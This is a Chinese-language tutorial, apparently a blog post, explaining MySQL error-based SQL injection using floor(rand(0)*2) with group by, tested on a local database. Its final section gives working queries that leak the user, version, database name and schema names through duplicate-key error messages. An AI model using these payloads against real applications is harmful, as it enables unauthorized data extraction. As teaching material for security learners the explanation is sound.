环境：mysql 5.1.73
[root@localhost ~]# mysql --version
mysql Ver 14.14 Distrib 5.1.73, for redhat-linux-gnu (x86_64) using readline 5.1
[root@localhost ~]#
1.首先普及几个mysql里面的函数
- floor()
- 在mysql里面floor()函数是取整(注意：不是四舍五入)，下面实际操作验证一下
mysql> select floor(0.3);
+------------+
| floor(0.3) |
+------------+
| 0 |
+------------+
1 row in set (0.00 sec)
mysql> select floor(0.5);
+------------+
| floor(0.5) |
+------------+
| 0 |
+------------+
1 row in set (0.00 sec)
mysql> select floor(0.8);
+------------+
| floor(0.8) |
+------------+
| 0 |
+------------+
1 row in set (0.00 sec)
[图片上传失败...(image-2b1322-1528340788318)]
mysql> select floor(1.8);
+------------+
| floor(1.8) |
+------------+
| 1 |
+------------+
1 row in set (0.00 sec)
mysql> select floor(1.5);
+------------+
| floor(1.5) |
+------------+
| 1 |
+------------+
1 row in set (0.00 sec)
mysql> select floor(1.3);
+------------+
| floor(1.3) |
+------------+
| 1 |
+------------+
1 row in set (0.00 sec)
mysql>
[图片上传失败...(image-da5c47-1528340788318)]
事实证明上面说的没毛病
- group by
group by 我的理解是分组查询，根据一个列或者多个列，值相等的在一起
下面实际操作理解一下，首先在数据库
test里面创建一张test表
mysql> CREATE TABLE IF NOT EXISTS `test`(
-> `id` INT AUTO_INCREMENT PRIMARY KEY,
-> `name` VARCHAR(100) NOT NULL,
-> `number` INT NOT NULL,
-> `content` VARCHAR(100)
-> )ENGINE=InnoDB DEFAULT CHARSET=utf8;
Query OK, 0 rows affected (0.07 sec)
mysql>
[图片上传失败...(image-c3be09-1528340788318)]
- 然后在test表中插入一些数据
mysql> insert into test
-> (name,number,content)
-> values
-> ('aa',2,'11'),
-> ('aa',3,'22'),
-> ('bb',4,'33'),
-> ('bb',5,'44'),
-> ('bb',5,'55'),
-> ('cc',6,'66'),
-> ('cc',6,'77'),
-> ('dd',2,'88'),
-> ('ee',2,'99');
Query OK, 9 rows affected (0.00 sec)
Records: 9 Duplicates: 0 Warnings: 0
mysql>
[图片上传失败...(image-a80ee5-1528340788318)]
mysql> select * from test;
[图片上传失败...(image-f62cfa-1528340788318)]
- 接下来进行我们的探索
mysql> select * from test group by name;
[图片上传失败...(image-9c13ef-1528340788318)]
通过比较，可以看出通过
group by将字段name相同的进行分组查询，注意这个地方不要看其他内容，单纯理解一下这个分组的意思
- 然后我们接着来看，上面不是说了分组的含义吗？其实数据库在执行
group by时候创建了一张虚拟的表，是知道name这个字段相同的有几条结果的，如下图测试说明：
[图片上传失败...(image-234e0-1528340788318)]
- rand()
- 在mysql里面rand()函数是随机产生一个范围(0,1)的随机数**
[图片上传失败...(image-8ba20b-1528340788318)]
- 那么有人也许有疑问，随机产生的值有规律吗？为了验证猜想，下面找一个数据量比较大的表
information_schema.tables测试一下，这里我只取30条数据实验
mysql> select rand() from information_schema.tables limit 0,30;
[图片上传失败...(image-8c769b-1528340788318)]
首先可以查看到每一条都是随机产生的浮点型值，而且这条sql语句经过多次执行发现，每一次执行结果也是随机的，由此可以得出此时rand()是真随机.
- 这样看起来是不是有点累，开始的时候我首先普及了一个
floor()取整函数，那么接下来我们可以这样做，会更清晰，更直观.
mysql> select floor(rand()) from information_schema.tables limit 0,30;
[图片上传失败...(image-f940f1-1528340788318)]
这样看是不是就这清晰直观明了，但是有人又有疑问了吧，为什么都是0呢，不是随机的吗，别忘了我们
rand()随机范围(0,1)，也就是随机出来的都是小于1的小数，然后floor()取整后可不都是0吗，这样看着方便了，但是却看不到随机性了，那好我们想个办法继续往下看。
mysql> select floor(rand()*2) from information_schema.tables limit 0,30;
[图片上传失败...(image-99f8ee-1528340788318)]
这步看着应该不难理解吧，就是将随机范围(0,1)扩大2倍变成(0,2),这样随机值是不是有0点多的、1点多的,然后取整就可以清晰简单的研究其规律。经过多次执行这条语句发现：是没有规律的。这和之前没取整说的真随机是一样的。
- 既然
rand()是没有规律的，我们怎么研究？报错注入我们谷歌百度发现都是rand(0)，那好，我们在试一试有随机因子是什么情况
mysql> select floor(rand(0)*2) from information_schema.tables limit 0,30;
[图片上传失败...(image-c400fb-1528340788319)]
经过多次执行这条语句，你会发现这是一个规律，每次随机结果和这个一模一样
2.有了上面讲的基础知识，我们接下来就真正的研究下报错注入
- 首先看一条报错的sql语句
mysql> select count(*) from test.test group by floor(rand(0)*2);
[图片上传失败...(image-5e2612-1528340788319)]
可以看到报错显示位
'1'，这个错误就是由于主键不能重复而暴出的错误
- 接下来一步一步分析一下这个过程
(1).首先查询之前会默认建立一张空的虚拟表，如下图所示：
[图片上传失败...(image-f5947e-1528340788319)]
(2).取第一条记录，执行floor(rand(0)*2)，发现结果为0(第一次计算),查询虚拟表，发现0的键值不存在，则floor(rand(0)*2)会被再计算一次，结果为1(第二次计算)，插入虚表，这时第一条记录查询完毕，如下图:
[图片上传失败...(image-1743ae-1528340788319)]
(3).查询第二条记录，再次计算floor(rand(0)*2)，发现结果为1(第三次计算)，查询虚表，发现1的键值存在，所以floor(rand(0)*2)不会被计算第二次，直接count(*)加1，第二条记录查询完毕，结果如下:
[图片上传失败...(image-b53fd2-1528340788319)]
(4).查询第三条记录，再次计算floor(rand(0)*2)，发现结果为0(第4次计算)，查询虚表，发现键值没有0，则数据库尝试插入一条新的数据，在插入数据时floor(rand(0)*2)被再次计算，作为虚表的主键，其值为1(第5次计算)，然而1这个主键已经存在于虚拟表中，而新计算的值也为1(主键键值必须唯一)，所以插入的时候就直接报错了。
(5).整个查询过程floor(rand(0)*2)被计算了5次，这也是开始说让记住前5个值（01101）的缘故了查询原数据表3次，所以这就是为什么数据表中需要3条数据，使用该语句才会报错的原因。
3.利用mysql报错手法
- 首先收集基本收据库信息
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",user());
ERROR 1062 (23000): Duplicate entry '1~root@localhost' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",version());
ERROR 1062 (23000): Duplicate entry '1~5.1.73-log' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",database());
ERROR 1062 (23000): Duplicate entry '1~test' for key 'group_key'
mysql>
[图片上传失败...(image-e91717-1528340788319)]
- 然后试试暴库
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 0,1));
ERROR 1062 (23000): Duplicate entry '1~information_schema' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 1,1));
ERROR 1062 (23000): Duplicate entry '1~aaa' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 2,1));
ERROR 1062 (23000): Duplicate entry '1~bbb' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 3,1));
ERROR 1062 (23000): Duplicate entry '1~challenges' for key 'group_key'
mysql>
[图片上传失败...(image-805896-1528340808287)]
- ok没毛病，就是这样利用的往下就不再多说。
